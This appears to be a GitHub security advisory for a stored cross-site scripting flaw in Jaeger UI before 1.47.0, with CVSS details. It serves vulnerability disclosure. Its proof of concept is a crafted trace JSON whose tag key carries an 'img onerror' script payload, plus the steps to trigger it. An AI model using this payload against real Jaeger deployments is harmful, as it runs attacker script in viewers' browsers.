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A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

Moderate severity GitHub Reviewed Published Jul 11, 2023 in jaegertracing/jaeger

Package

gomod github.com/jaegertracing/jaeger (Go)

Affected versions

< 1.47.0

Patched versions

1.47.0

Description

Related UI vulnerability advisory: GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

  1. Start a Jaeger UI
  2. Save the following trace as a file:
{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}
  1. Upload that trace to Jaeger UI in order to visualise it.
  2. Open the trace, open it's span's attributes.
  3. XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

References

@yurishkuro yurishkuro published to jaegertracing/jaeger Jul 11, 2023
Published to the GitHub Advisory Database Jul 11, 2023
Reviewed Jul 11, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

EPSS score

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-2w8w-qhg4-f78j

Source code

Credits

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